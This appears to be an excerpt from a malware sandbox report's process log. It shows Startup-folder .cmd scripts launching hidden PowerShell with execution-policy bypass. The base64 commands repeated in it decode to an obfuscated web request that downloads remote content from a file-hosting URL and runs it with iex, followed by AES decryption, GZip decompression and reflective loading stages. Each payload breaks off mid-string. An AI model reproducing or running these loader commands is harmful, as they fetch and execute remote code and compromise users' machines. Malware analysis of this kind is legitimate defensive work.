                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd"
